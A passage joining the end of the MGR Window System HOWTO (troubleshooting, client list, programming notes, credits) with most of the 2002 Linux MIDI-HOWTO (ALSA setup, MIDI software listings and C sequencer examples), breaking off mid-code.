If /usr/mgr/bin is in your PATH, then just type "mgr" to start up. After enjoying the animated startup screen, press any key. When the hatched background and mouse pointer appear, hold down the left mouse button, highlight the "new window" menu item, and release the button. Then drag the mouse from corner to corner where you want a window to appear. The window will have your default shell running in it. Hold down the left mouse button over an existing window to see another menu for doing things to that window. Left-clicking on an obscured window raises it to the top. The menu you saw that pops-up over the empty background includes the quit command. For people with a two button mouse: press both buttons together to emulate the missing middle button used by some clients.

The quit submenu includes the "really quit" option, a suspend option which should only be used if you run a job-control shell, and a screen saver and locker option, which waits for you to type your login password when you come back to your machine.

When trying to run MGR, if you get:

can't find the screen

make sure you have a /dev entry for your display device, e.g. on a Sun /dev/bwtwo0. If not, as root cd to /dev, and type "MAKEDEV bwtwo0". Otherwise, you might need the -S/dev/bwtwo0 or (on Linux) the -S640x480 command line option when starting mgr. On Linux, you might also make sure that /usr/mgr/bin/mgr was installed setuid root.

can't find the mouse

make sure /dev/mouse exists, usually as a symbolic link to the real device name for your mouse. If you haven't permission to write in /dev, then something like a -m/dev/cua0 option can be given when starting mgr. Also, make sure you've supplied the right mouse protocol choice when you configured mgr. The mouse may speak Microsoft, even if that is not the brand name.

can't get a pty

make sure all of /dev/[tp]ty[pq]? are owned by root, mode 666, and all programs referenced with the "shell" option in your .mgrc startup file (if any) exist and are executable.

none but the default font

make sure MGR is looking in the right place for its fonts. Check the Configfile in the source or see whether a -f/usr/mgr/font option to mgr fixes the problem.

completely hung (not even the mouse track moves)

login to your machine from another terminal (or rlogin) and kill the mgr process. A buckey-Q key can quit MGR if the keyboard still works.

4.1 Applications not aware of MGR

Any tty-oriented application can be run in an MGR window without further ado. Screen-oriented applications using termcap or curses can get the correct number of lines and columns in the window by your using shape(1) to reshape the window or using set_termcap(1) to obtain the correct termcap entry.

4.2 MGR Applications (clients) distributed with the server

bdftomgr

converts some BDF fonts to MGR fonts

browse

an icon browser

bury

bury this window

c_menu

vi menus from C compiler errors

clock

digital display of time of day

clock2

analog display of time of day

close

close this window, iconify

color

set the foreground and background color for text in this window

colormap

read or write in the color lookup table

cursor

change appearance of the character cursor

cut

cut text from this window into the cut buffer

cycle

display a sequence of icons

dmgr

crude ditroff previewer

fade

fade a home movie script from one scene to another

font

change to a new font in this window

gropbm

a groff to PBM driver using Hershey fonts

hpmgr

hp 2621 terminal emulator

ico

animate an icosahedron or other polyhedron

iconmail

notification of mail arrival

iconmsgs

message arrival notification

ify

iconify and deiconify windows

loadfont

load a font from the file system

maze

a maze game

mclock

micky mouse clock

menu

create or select a pop-up menu

mgr

bellcore window system server and window manager

mgrbd

boulder-dash game

mgrbiff

watch mailbox for mail and notify

mgrload

graph of system load average

mgrlock

lock the console

mgrlogin

graphical login controller

mgrmag

magnify a part of the screen, optionally dump to file

mgrmail

notification of mail arrival

mgrmode

set or clear window modes

mgrmsgs

message arrival notification

mgrplot

Unix "plot" graphics filter

mgrsclock

sandclock

mgrshowfont

browse through mgr fonts

mgrsketch

a sketching/drawing program

mgrview

view mgr bitmap images

mless

start up less/more in separate window, menu added for less

mnew

startup up any program in a separate, independent window

mphoon

display the current phase of the moon

mvi

start up vi in a separate window, with mouse pointing

oclose

(old) close a window

omgrmail

(old) notification of mail arrival

pbmrawtomgr, pgmrawtomgr, ppmrawtomgr

convert raw PBM/PGM/PPM image files to mgr bitmap format

pbmstream

split out a stream of bitmaps

pbmtoprt

printer output from PBM

pgs

ghostscript patch and front end, a PS viewer

pilot

a bitmap browser, or image viewer

resetwin

cleanup window state after client crashes messily

rotate

rotate a bitmap 90 degrees.

screendump

write graphics screen dump to a bitmap file

set_console

redirect console messages to this window

set_termcap

output an appropriate TERM and TERMCAP setting

setname

name a window, for messages and iconifying

shape

reshape this window

square

square this window

squeeze

compress mgr bitmap using run-length encoding

startup

produce a skeleton startup file for current window layout

texmgr

TeX dvi file previewer

text2font, font2text

convert between mgr font format and text dump

unsqueeze

uncompress mgr bitmap using run length encoding

vgafont2mgr, mgrfont2vga

convert between mgr font format and VGA

window_print

print an image of a window

zoom

an icon editor

bounce, grav, grid, hilbert, mgreyes, stringart, walk

graphics demos

4.3 MGR-aware clients distributed separately, see "SUPPORT" file

calctool

on-screen calculator

chess

frontend to /usr/games/chess

gnu emacs

editor with lisp/term/mgr.el mouse & menu support

gnuplot

universal scientific data plotting

metafont

font design and creation

origami

folding editor

pbmplus

portable bitmap format conversions, manipulations

plplot

slick scientific data plotting

The Emacs support in misc/mgr.el and misc/mailcap includes very usable MIME support, via Rmail and metamail.

A general image viewer could be cobbled together from pilot and the netPBM filters, but I have not taken the time to do it.


The MGR Window System HOWTO: Programming for MGR

 Next Previous Contents

5. Programming for MGR

The MGR programmers manual, the C language applications interface, is found in the doc directory in troff/nroff form. It covers general concepts, the function/macro calls controlling the server, a sample application, with an index and glossary.

Porting client code used with older versions of MGR sometimes requires the substitution of

    #include <mgr/mgr.h>
for
    #include <term.h>
    #include <dump.h>
and clients using old-style B_XOR, B_CLEAR, et al instead of BIT_XOR, BIT_CLR, et al can be accommodated by writing
    #define OLDMGRBITOPS
    #include <mgr/mgr.h>

Compiling client code generally requires compiler options like the following.

    -I/usr/mgr/include   -L/usr/mgr/lib -lmgr

One can get some interactive feel for the MGR server functions by reading and experimenting with the mgr.el terminal driver for GNU Emacs which implements the MGR interface library in ELisp.

The usual method of inquiring state from the server has the potential of stumbling on a race condition if the client also expects a large volume of event notifications. The problem arises if an (asynchronous) event notification arrives when a (synchronous) inquiry response was expected. If this arises in practice (unusual) then the MGR state inquiry functions would have to be integrated with your event handling loop.

The only major drawing function missing from the MGR protocol, it seems, is an area fill for areas other than upright rectangles. There is new code for manipulating the global colormap, as well as (advisory) allocation and freeing of color indices owned by windows.

If you are thinking of hacking on the server, you can find the mouse driver in mouse.* and mouse_get.*, the grotty parts of the keyboard interface in kbd.c, and the interface to the display in the src/libbitblit/* directories. The main procedure, much initialization, and the top level input loop are in mgr.c, and the interpretation of escape sequences is in put_window.c.


The MGR Window System HOWTO: More documentation

 Next Previous Contents

6. More documentation

The programmer's manual is essential for concepts.

Nearly all the clients supplied come with a man page which is installed into /usr/mgr/man/man1 or man6. Other useful man pages are bitblit.3, font.5, and bitmap.5. There is some ambiguity in the docs in distinguishing the internal bitmap format found in your frame-buffer and the external bitmap format found in files, e.g. icons.

The mgr.1 man page covers command line options, commands in the ~/.mgrc startup file, mouse and menu interaction with the server, and hot-key shortcuts available on systems with such hot-keys.

Many of the fonts in /usr/mgr/font/* are described to some extent in /usr/mgr/font/*.txt, e.g. /usr/mgr/font/FONTDIR.txt gives X-style font descriptions for the fonts obtained in .bdf format. Font names end in WxH, where W and H are the decimal width and height in pixels of each character box.


The MGR Window System HOWTO: Credit for MGR

 Next Previous Contents

7. Credit for MGR

Stephen Uhler, with others working at Bellcore, was the original designer and implementer of MGR, so Bellcore has copyrighted much of the code and documentation for MGR under the following conditions.

    * Permission is granted to copy or use this program, EXCEPT that it
    * may not be sold for profit, the copyright notice must be reproduced
    * on copies, and credit should be given to Bellcore where it is due.

One required showing of the copyright notice is the startup title screen.

Other credits to:

  • Stephen Hawley for his wonderful icons.
  • Tommy Frandsen for the VGA linux library.
  • Tom Heller for his Gasblit library.
  • Andrew Haylett for the Mouse driver code.
  • Dan McCrackin for his gasblit->linux patches.
  • Dave Gymer, dgymer@gdcarc.co.uk, for the Startrek effect fix.
  • Alex Liu for first releasing a working Linux version of MGR.
  • Lars Aronsson (aronsson@lysator.liu.se) for text2font and an ISO8859-1 8-bit font.
  • Harry Pulley (hcpiv@grumpy.cis.uoguelph.ca, hcpiv@snowhite.cis.uoguelph.ca) for the Coherent port.
  • Vance Petree & Grant Edwards & Udo Munk for their work on Hercules.
  • Udo Munk for his work on serial mouse initialization & select.
  • Norman Bartek & Hal Snyder at Mark Williams Co. for their help with some bugs & with Coherent device drivers.
  • Extra thanks to Zeyd Ben Halim for lots of helpful patches, especially the adaptation of selection.
  • Bradley Bosch, brad@lachman.com, for lots of patches from his 3b1 port, which fix bugs and implement new and desirable features.
  • Andrew Morton, applix@runxtsa.runx.oz.au, who first wrote the cut-word code.
  • Kapil Paranjape, kapil@motive.math.tifr.res.in, for the EGA support.
  • Michael Haardt for MOVIE support fixes, bug fixes, separation of the libbitblit code into output drivers, expansion of the libmgr, and origami folding of the code.
  • Yossi Gil for many fonts.
  • Carsten Emde, carsten@thlmak.pr.net.ch, for mphoon.
  • Vincent Broman for middle mouse-button emulation, linting, Sun cgsix support, VGA colormap acess, integration of the sunport code into Haardt's layering scheme, font gathering, the screen saver, and continued maintenance.
  • Kenneth Almquist, ka@socrates.hr.att.com, for helpful bug reports.
  • Tim Pierce, twpierce@midway.uchicago.edu, for the port to FreeBSD 2.0R with Trident VGA.

All bitmap fonts from any source are strictly public domain in the USA. The 583 fixed-width fonts supplied with MGR were obtained from Uhler, the X distribution, Yossi Gil, and elsewhere. The Hershey vector fonts and the code for rendering them are probably freely redistributable.


The Linux MIDI-HOWTO

By Phil Kerr, phil@plus24.com

v1.10, April 2002

This document describes the hardware, software and procedures needed to play and sequence using MIDI under Linux.

1. Introduction.

  • 1.1 Scope of document

2. Copyright of this document.

3. Where to get this document.

4. Acknowledgments.

5. Disclaimer.

6. Background to MIDI.

7. Configuring MIDI devices.

  • 7.1 ALSA 0.9 quick install
  • 7.2 Latency

8. Software.

  • 8.1 Drivers
  • 8.2 MIDI file players
  • 8.3 Sequencers
  • 8.4 MIDI Trackers
  • 8.5 Drum editors
  • 8.6 Patch editors
  • 8.7 Software synths
  • 8.8 Plugins
  • 8.9 Development

9. MIDI Development.

10. Useful Links.

11. Feedback.


The Linux MIDI-HOWTO : Introduction.

 Next Previous Contents

1. Introduction.

It covers:

  • Configuring your MIDI interface
  • Playing MIDI files
  • Sequencing
  • Controlling external MIDI equipment
  • MIDI controlled software based sound synthesis
  • Example MIDI code

[Download plain html version here: midi-howto.html]

1.1 Scope of document

This document's primary focus is the use of a MIDI interface to play external MIDI equipment under Linux.


The Linux MIDI-HOWTO : Copyright of this document.

 Next Previous Contents

2. Copyright of this document.

This HOWTO is copyrighted 2002 Phil Kerr.

This document is distributed under the terms of the GNU Free Documentation License. You should have received a copy along with it. If not, it is available from:

http://www.fsf.org/licenses/fdl.html.


The Linux MIDI-HOWTO : Where to get this document.

 Next Previous Contents

3. Where to get this document.

The official version of this document can be obtained from the Linux Documentation Project http://www.linuxdoc.org/.

The homepage for the most recent version of this HOWTO is: http://www.midi-howto.com


The Linux MIDI-HOWTO : Acknowledgments.

 Next Previous Contents

4. Acknowledgments.

This HOWTO is an expansion of the MIDI-SB mini-HOWTO written by Hideki Saito. Many thanks for his contribution to the Linux community.

Many of the code samples contained in this HOWTO originated from the Linux Audio Developers (LAD) mailing list. Many thanks to them for allowing their inclusion.


The Linux MIDI-HOWTO : Disclaimer.

 Next Previous Contents

5. Disclaimer.

Use the information in this document at your own risk.

I disavow any potential liability for the contents of this document.

Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise.

Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.


The Linux MIDI-HOWTO : Background to MIDI.

 Next Previous Contents

6. Background to MIDI.

MIDI is a set of hardware and software protocols used by electronic musical instruments to communicate. It was first released in 1982 and has become the de-facto communication standard between electronic musical instruments. The protocol specifies the physical hardware parameters for the cable and interfaces, and provides a well defined set of communication protocols to exchange musical and timing data.

Prior to MIDI there were several analog, and later basic digital, connection protocols. The earliest, circa. 1974, would transmit note information as a voltage though a wire from one keyboard to another. Later, 1980 - 1981, Roland created a basic digital protocol, DCB. The MIDI Manufacturers Association (MMA), working with the equipment manufacturers, defined a standard protocol and physical connection which allowed equipment from all complying manufacturers to connect and communicate with each other.

From 1985 MIDI interfaces started to appear on home computers and soon after sequencing programs appeared.


The Linux MIDI-HOWTO : Configuring MIDI devices.

 Next Previous Contents

7. Configuring MIDI devices.

MIDI devices can be integrated into the soundcard or be a separate device. External MIDI interfaces may be attached to either the serial or USB port.

The first *and most important* thing you should do is check if your card is supported!

http://www.alsa-project.org/soundcards.php3

http://www.4front-tech.com/osshw.html

Configuring MIDI devices varies with Linux distributions. At it's most simplest a well supported card may be configured when you install the OS.

The Linux kernel includes the OSS drivers and in the 2.5 kernel the ALSA drivers. Most distributions provide a configuration tool (mostly for soundcards), but if you are using the MIDI port of a sound card it should be configured. Under RedHat you would use sndconfig, under SuSE yast, and Mandrake, DrakConf.

If none of the above tools will configure your MIDI interface, or you are experiencing problems, the following steps should be taken:

Does lsmod show any MIDI related modules? Here's a typical output from an OSS based system.

[root@beatbox]# lsmod
Module                  Size  Used by
lockd                  32208   1  (autoclean)
sunrpc                 54640   1  (autoclean) [lockd]
autofs                  9456   2  (autoclean)
usb-ohci               12624   0  (unused)
usbcore                43632   1  [usb-ohci]
hisax                 470096   0  (autoclean) (unused)
isdn                  104208   0  (autoclean) [hisax]
slhc                    4544   0  (autoclean) [isdn]
eepro100               16144   1  (autoclean)

#---- Soundcard modules
    opl3                   11376   2
    mad16                   7968   1
    ad1848                 16848   1  [mad16]
    sb                     34752   1  [mad16]
    uart401                 6384   1  [mad16 sb]
    sound                  58368   0  [opl3 mad16 ad1848 sb uart401]

soundlow                 464   0  [sound]
soundcore               2800   6  [sb sound]
nls_cp437               3952   2  (autoclean)
vfat                    9408   1  (autoclean)
fat                    30432   1  (autoclean) [vfat]
ide-scsi                7664   0

Look for mpu401, olp3, uart401 and oss.

If you are using USB devices don't forget to check if the USB modules are there.

To check the config cat the sndstat file:

[root@beatbox]# cat /dev/sndstat
OSS/Free:3.8s2++-971130
Load type: Driver loaded as a module
Kernel: Linux mega 2.2.17-21mdk #1 Thu Oct 5 13:16:08 CEST 2000 i686
Config options: 0

Installed drivers:

Card config:

Audio devices:
0: MAD16 WSS (82C930) (DUPLEX)

Synth devices:
0: Yamaha OPL3

Midi devices:
0: Mad16/Mozart

Timers:
0: System clock

Mixers:
0: MAD16 WSS (82C930)

We see here that the MIDI device is a mad16 and this is listed in the lsmod output above.

If you see nothing related to MIDI check the contents of your /etc/modules.conf file.

[root@beatbox]# cat /etc/modules.conf
alias net-pf-4 ipx
pre-install pcmcia_core /etc/rc.d/init.d/pcmcia start
alias usb-interface usb-ohci
alias parport_lowlevel parport_pc
alias block-major-11 scsi_hostadapter
pre-install plip modprobe parport_pc ; echo 7 > /proc/parport/0/irq
alias scsi_hostadapter ide-scsi
alias eth0 eepro100
alias eth1 hisax

#---- Soundcard
    alias sound-slot-0 mad16
    options sound dmabuf=1
    alias midi opl3
    options opl3 io=0x388
    options sb support=1
    options mad16 io=0x530 irq=5 dma=0 dma16=1 mpu_io=0x300 mpu_irq=7 joystick=1

Here's the output of /proc/modules to check to see if the MIDI modules are loaded into the Kernel.

[root@mega /proc]# cat modules
0000-001f : dma1
0020-003f : pic1
0040-005f : timer
0060-006f : keyboard
0070-007f : rtc
0080-008f : dma page reg
00a0-00bf : pic2
00c0-00df : dma2
00f0-00ff : fpu
0170-0177 : ide1
01f0-01f7 : ide0
02f8-02ff : serial(auto)

#---- MIDI device
    0300-0303 : MPU-401 UART

0376-0376 : ide1
0388-038b : Yamaha OPL3
03c0-03df : vga+
03f6-03f6 : ide0
03f8-03ff : serial(auto)
0530-0533 : MAD16 WSS config
0534-0537 : MAD16 WSS
de00-de1f : Intel Speedo3 Ethernet
f000-f007 : ide0
f008-f00f : ide1

You should see something similar to the above. If not you'll need to install MIDI drivers.

If you are going to be using ALSA 0.5x divers, I suggest a good read of Valentijn Sessink's Alsa-sound-mini-HOWTO which can be found at the link below:

http://www.linuxdoc.org/HOWTO/mini/Alsa-sound.html

For ALSA drivers later than 0.9x you should have a good read of the ALSA-HOWTO by Madhu Maddy.

http://www.alsa-project.org/alsa-doc/alsa-howto/

7.1 ALSA 0.9 quick install

Below is a very quick install run-though for installing the ALSA 0.9 drivers and libs which is a required configuration for most MIDI apps.

[root@beatbox] # tar jxvf alsa-driver....tar.bz2
[root@beatbox] # cd alsa-driver.....
[root@beatbox] # ./configure

messages - no errors

[root@beatbox] # make

messages - no errors

[root@beatbox] # make install

messages - no errors

[root@beatbox] # ./snddevices

Now you will need to edit /etc/modules.conf, or the ALSA file in your modules directory on some distributions. There may be entries for other, non-MIDI, devices, so be careful when you are editing the file.

A typical system may have old ALSA or OSS configurations in the file, you will need to remove, or better still comment them out.

Below is a typical modules.conf file showing the ALSA config with OSS.

alias char-major-116 snd
alias char-major-14 soundcore

alias snd-card-0 (MIDI/Sound card)
alias sound-slot-0 snd-card-0

alias sound-service-0-0 snd-mixer-oss
alias sound-service-0-1 snd-seq-oss
alias sound-service-0-3 snd-pcm-oss
alias sound-service-0-12 snd-pcm-oss

Change the (MIDI/Sound card) entry to that of your card. This information can normally be found on the ALSA website.

With the ALSA drivers installed, now you will need to install the header library files needed by ALSA based programs. This is what is contained in the alsa-libs package.

Make sure you have a matching pair of alsa-drivers and alsa-libs!

[root@beatbox] # tar jxvf alsa-libs....tar.bz2
[root@beatbox] # cd alsa-libs.....
[root@beatbox] # ./configure

messages - no errors

[root@beatbox] # make

messages - no errors

[root@beatbox] # make install

Your system should now be configured :)

You can check this with a simple C program, if it compiles and can be executed then your system should be ok.

// Compile this test program like so: gcc alsatest.c -o alsatest -lasound

#include <stdio.h>
#include <alsa/asoundlib.h>

int main (int argc, char *argv[])
{
  snd_seq_t *seq_handle;

  if (snd_seq_open(&seq_handle, "hw", SND_SEQ_OPEN_DUPLEX, 0) < 0) {
    fprintf(stderr, "Error opening ALSA sequencer.\n");
    exit(1);
  }

printf("The ALSA libraries are installed.\n");
return 0;
}

7.2 Latency

MIDI is a real-time protocol and latency issues are a serious problem.

There are now several developers working on improving the latency times and improvements in the kernel are making Linux a fine platform for MIDI.

Although stock Linux distributions may run fine, pro set-ups should apply low-latency patches. More information can be found here:

http://www.gardena.net/benno/linux/audio/


The Linux MIDI-HOWTO : Software.

 Next Previous Contents

8. Software.

Interest in Linux based MIDI is growing and this list will probably not reflect the true amount of MIDI software available, but should provide a reasonable selection of applications.

If you are developing, or know of, any other MIDI apps not listed here please drop me a note.

8.1 Drivers

Alsa Driver

The Advanced Linux Sound Architecture is composed of several parts. The first is a fully modularized sound driver which supports module autoloading, devfs, isapnp autoconfiguration, and gives complete access to analog audio, digital audio, control, mixer, synthesizer, DSP, MIDI, and timer components of audio hardware. It also includes a fully-featured kernel-level sequencer, a full compatibility layer for OSS/Free applications, an object-oriented C library which covers and enhances the ALSA kernel driver functionality for applications (client/server, plugins, PCM sharing/multiplexing, PCM metering, etc.), an interactive configuration program for the driver, and some simple utilities for basic management.

http://www.alsa-project.org/

OSS

OSS provides sound card drivers for most popular sound cards under Linux and FreeBSD. These drivers support digital audio, MIDI, synthesizers, and mixers found on sound cards. These sound drivers comply with the Open Sound System API specification. OSS provides a user-friendly GUI which makes the installation of sound drivers and configuration of sound cards very simple. It supports over 200 brand name sound cards, and provides automatic sound card detection, Plug-n-Play support, support for PCI audio soundcards, and support for full duplex audio.

http://www.opensound.com/

Notemidi

Notemidi is a device driver for MIDI output via the RS-232 serial port on notebook/laptop computers. Notemidi can be used with the MIDIator MS-124W interface, Roland Sound Canvas sound modules, or Yamaha MU-x series sound modules.

http://www.michaelminn.com/linux/notemidi

8.2 MIDI file players

KMid

KMid is an X11 / KDE based midi player for Linux and FreeBSD. It displays the text of karaoke files and changes its colour as it is being played so that the tune can be easily followed. KMid uses /dev/sequencer as output device supporting external synths, AWE , FM and GUS cards.

http://perso.wanadoo.es/antlarr/kmid.html

Pmidi

Pmidi is a straightforward command line program to play Midi files through the ALSA sequencer.

http://www.parabola.demon.co.uk/alsa/pmidi.html

TiMidity++

TiMidity is a MIDI to WAVE converter that uses Gravis Ultrasound(*)-compatible patch files to generate digital audio data from General MIDI files. The audio data can be played through any sound device or stored on disk. On a fast machine, music can be played in real time.

http://www.goice.co.jp/member/mo/timidity/

8.3 Sequencers

Brahms

Brahms is a sequencer and music notation program with several editing methods so far including Score-, Pianoroll-, Drum-, and Mastertrack Editors. For C++ programmers, it is easy to implement further editors by deriving from a general editor-class. MIDI Import and Export is also implemented. In combination with aRts-0.3.4, one can play wave-files and make use of the midibus to send midi-events to the software synthesizer.

Formerly known as KooBase

http://brahms.sourceforge.net/

Anthem

Anthem is an advanced open source MIDI sequencer. Anthem allows you to record, edit and playback music using a sophisticated and acclaimed object oriented song technology.

http://anthem.sourceforge.net/

Jazz++

JAZZ++ is a full featured, audio capable midi sequencer for Linux and Windows.

http://www.jazzware.com/cgi-bin/Zope.cgi/jazzware/

Linux Ultimate Music Editor

UltiMusE-LX (the Ultimate Music Editor) is a composing program. No, it doesn't compose for you; it's a "word processor" for music. You draw sheet music on the screen using the mouse and/or computer keyboard. Up to 16 parts or voices fit on up to seven staves (staffs). Most standard musical notations are supported, as are MIDI instrument patch changes, events, and real-time clocks.

http://hometown.aol.com/knudsenmj/myhomepage/umuselx.htm

Melys

Melys is a Midi sequencer application for the Advanced Linux Sound Architecture (ALSA). Melys uses the sequencer support of ALSA, along with the GNOME libraries to produce a powerful and easy to use sequencer.

http://www.parabola.demon.co.uk/melys/

MidiMountain Sequencer

MidiMountain is a sequencer to edit standard MIDI files. Its easy-to-use interface should help beginners to edit and create MIDI songs (sequences), and it is designed to edit every definition known to standard MIDI files and the MIDI transfer protocol, from easy piano roll editing to changing binary system exclusive messages. http://www.midimountain.com/

MusE

MusE is a Qt 2.1-based MIDI sequencer for Linux with editing and recording capabilities. While the sequencer is playing you can edit events in realtime with the pianoroll editor or the score editor. Recorded MIDI events can be grouped as parts and arranged in the arrange editor. http://muse.seh.de/

Rosegarden

Rosegarden is an integrated MIDI sequencer and musical notation editor. http://www.all-day-breakfast.com/rosegarden/

8.4 MIDI Trackers

tektracker

ttrk (tektracker) is a console MIDI sequencer with a tracker-style step editor. It is built for live playing, with convenient track mute buttons and loop control. ttrk supports both sending and syncing to MIDI clock pulses.

http://div8.net/ttrk/

ShakeTracker

ShakeTracker aims to be a fully-featured MIDI sequencer with a tracker interface. It currently works well and supports most tracker effects. Anyone who has used Impulse Tracker before will feel at home, and for the new users, a simple but extensive help system is provided. Most commands and shortcuts resemble their tracker counterparts.

http://reduz.com.ar/shaketracker/

8.5 Drum editors

DrumPatterns

DrumPatterns is a free, open source, web oriented drum patterns generator, whose purpose is to help teach drum patterns. It can teach the rudiments as well as advanced rhythms. It can output characters, score, or Midi, and includes hours of samples.

http://www.linux-france.org/prj/drumpatterns/index-en.html

8.6 Patch editors

JSynthLib

JSynthLib is an Open Source Universal Synthesizer Patch Editor / Librarian written in the Java Language. The project aims to eventually provide support for all existing Synthesizers by providing methods and documentation which allow users to develop drivers and editors for unsupported synths and contribute them to the project.

8.7 Software synths

Spiral Synth is a physically modeled polyphonic analogue synthesizer. It is capable of creating the kind of sounds made by hardware analogue synths, the noises used in electronic music. You can also use it to make stranger sounds too. MIDI is supported, and it uses the standard OSS/Free sound output (/dev/dsp).

http://www.pawfal.org/SpiralSynth/

UltraMaster Juno-6

UltraMaster Juno-6 is a faithful virtual reproduction of a Roland Juno-6 Polyphonic Synthesizer. It features realtime 64-bit internal ULTRANALOG wave synthesis, an early 80's style arpeggiator and chorus, and 100s of patches to save your own custom settings. All parameters can be controlled in realtime, via on-screen GUI or external MIDI controllers.

http://www.ultramaster.com/juno6/index.html

8.8 Plugins

xmms-midi

Adds midi file support for x11amp (via timidity). A crude mixer interface is provided via the configuration dialog.

http://ban.joh.cam.ac.uk/~cr212/xmms-midi/

8.9 Development

sfront

Sfront compiles MPEG 4 Structured Audio (MP4-SA) bitstreams into efficient C programs that generate audio when executed. MP4-SA is a standard for normative algorithmic sound, that combines an audio signal processing language (SAOL) with score languages (SASL, and the legacy MIDI File Format). Under Linux, sfront supports real-time, low-latency audio input/output, local MIDI input from soundcards, and networked MIDI input using RTP and SIP. A SIP server hosted on the Berkeley campus manages sessions. The website includes an online book about MP4-SA.

http://www.cs.berkeley.edu/~lazzaro/sa/index.html

jMax

jMax allows one to interactively design dataflow circuits. The basic data types that can go through are integers, symbols, lists, etc. It is an event-driven system and has been used for MIDI processing. A second part of the system (DSP) allows a continuous signal to flow through a circuit, which is most useful for PCM sound (ie. microphone, sound files, etc). The system is extensible by using shared libraries, you may add data processor types, data types, GUI elements, device types, and more. Data processors may also be designed as circuits and reused.

http://www.ircam.fr/equipes/temps-reel/jmax/

TSE3

TSE3 is a powerful open source sequencer engine written in C++. It is a 'sequencer engine' because it provides the actual driving force elements of a sequencer but provides no form of user interface. Sequencer applications or multimedia presentation packages will incorporate the TSE3 libraries to provide a user with MIDI sequencing facilities.

http://TSE3.sourceforge.net/

KeyKit

KeyKit is a multi-tasking interpreted programming language (inspired by awk) designed exclusively for realtime and algorithmic MIDI manipulation. KeyKit's GUI provides several dozen tools for algorithmic music experimentation, including a multi-track sequencer and drum pattern editor. The GUI and all tools are completely written in the KeyKit language itself. This allows users to add new tools and operations to the existing tools, even while the system is running.

http://nosuch.com/keykit/


The Linux MIDI-HOWTO : MIDI Development.

 Next Previous Contents

9. MIDI Development.

For those looking to develop MIDI applications, good examples are often needed to get you started.

The following examples were posted to the LAD mailing list in a thread about examples and documentation/tutorials.

Below is a little sample ALSA 0.9 sequencer client from Dr. Matthias Nagorni. It creates a writeable sequencer client and printf's any Pitchbender-, 7-Bit Controller- and Note-events on stderr.

More examples can be obtained from Matthias's site which is listed in the Links section.

You compile it like so:

[phil@beatbox] $ gcc seqdemo.c -o seqdemo -lasound

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <alsa/asoundlib.h>

snd_seq_t *open_seq();
void midi_action(snd_seq_t *seq_handle);

snd_seq_t *open_seq() {

  snd_seq_t *seq_handle;
  int portid;

  if (snd_seq_open(&seq_handle, "hw", SND_SEQ_OPEN_DUPLEX, 0) < 0) {
    fprintf(stderr, "Error opening ALSA sequencer.\n");
    exit(1);
  }
  snd_seq_set_client_name(seq_handle, "ALSA Sequencer Demo");
  if ((portid = snd_seq_create_simple_port(seq_handle, "ALSA Sequencer Demo",
            SND_SEQ_PORT_CAP_WRITE|SND_SEQ_PORT_CAP_SUBS_WRITE,
            SND_SEQ_PORT_TYPE_APPLICATION)) < 0) {
    fprintf(stderr, "Error creating sequencer port.\n");
    exit(1);
  }
  return(seq_handle);
}

void midi_action(snd_seq_t *seq_handle) {

  snd_seq_event_t *ev;

  do {
    snd_seq_event_input(seq_handle, &ev);
    switch (ev->type) {
      case SND_SEQ_EVENT_CONTROLLER:
        fprintf(stderr, "Control event on Channel %2d: %5d       \r",
                ev->data.control.channel, ev->data.control.value);
        break;
      case SND_SEQ_EVENT_PITCHBEND:
        fprintf(stderr, "Pitchbender event on Channel %2d: %5d   \r",
                ev->data.control.channel, ev->data.control.value);
        break;
      case SND_SEQ_EVENT_NOTEON:
        fprintf(stderr, "Note On event on Channel %2d: %5d       \r",
                ev->data.control.channel, ev->data.note.note);
        break;
      case SND_SEQ_EVENT_NOTEOFF:
        fprintf(stderr, "Note Off event on Channel %2d: %5d      \r",
                ev->data.control.channel, ev->data.note.note);
        break;
    }
    snd_seq_free_event(ev);
  } while (snd_seq_event_input_pending(seq_handle, 0) > 0);
}

int main(int argc, char *argv[]) {

  snd_seq_t *seq_handle;
  int npfd;
  struct pollfd *pfd;

  seq_handle = open_seq();
  npfd = snd_seq_poll_descriptors_count(seq_handle, POLLIN);
  pfd = (struct pollfd *)alloca(npfd * sizeof(struct pollfd));
  snd_seq_poll_descriptors(seq_handle, pfd, npfd, POLLIN);
  while (1) {
    if (poll(pfd, npfd, 100000) > 0) {
      midi_action(seq_handle);
    }
  }
}

Below is a ALSA 0.9 MIDI redirector by Nick Dowell.

/* ALSA Sequencer MIDI redirector.
   Redirects the input to outputs determined by the MIDI channel
   (as requested by Nathaniel Virgo on Linux-Audio-Dev ;-)
   based on Dr. Matthias Nagorni's ALSA seq example

   Nick Dowell <nixx@nixx.org.uk>
   */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <alsa/asoundlib.h>

int
main()
{
  snd_seq_t *seq_handle;
  snd_seq_event_t *ev;
  int i;
  int portid;              /* input port */
  int oportid[16];         /* output ports */
  int npfd;
  struct pollfd *pfd;
  char txt[20];

  if (snd_seq_open(&seq_handle, "hw", SND_SEQ_OPEN_DUPLEX, 0) < 0) {
    fprintf(stderr, "Error opening ALSA sequencer.\n");
    exit(1);
  }

  snd_seq_set_client_name(seq_handle, "MIDI Redirect");

  /* open one input port */
  if ((portid = snd_seq_create_simple_port
       (seq_handle, "Input",
        SND_SEQ_PORT_CAP_WRITE | SND_SEQ_PORT_CAP_SUBS_WRITE,
        SND_SEQ_PORT_TYPE_APPLICATION)) < 0) {
    fprintf(stderr, "fatal error: could not open input port.\n");
    exit(1);
  }
  /* open 16 output ports for the MIDI channels */
  for (i=0; i<16; i++){
    sprintf( txt, "MIDI Channel %d", i );
    if ((oportid[i] = snd_seq_create_simple_port
         (seq_handle, txt,
          SND_SEQ_PORT_CAP_READ | SND_SEQ_PORT_CAP_SUBS_READ,
          SND_SEQ_PORT_TYPE_APPLICATION)) < 0) {
      fprintf(stderr, "fatal error: could not open output port.\n");
      exit(1);
    }
  }

  npfd = snd_seq_poll_descriptors_count(seq_handle, POLLIN);
  pfd = (struct pollfd *)alloca(npfd * sizeof(struct pollfd));
  snd_seq_poll_descriptors(seq_handle, pfd, npfd, POLLIN);

  while (1)  /* main loop */
    if (poll(pfd, npfd, 1000000) > 0){
      do {
        snd_seq_event_input(seq_handle, &ev);
        snd_seq_ev_set_source( ev, oportid[ev->data.control.channel] );
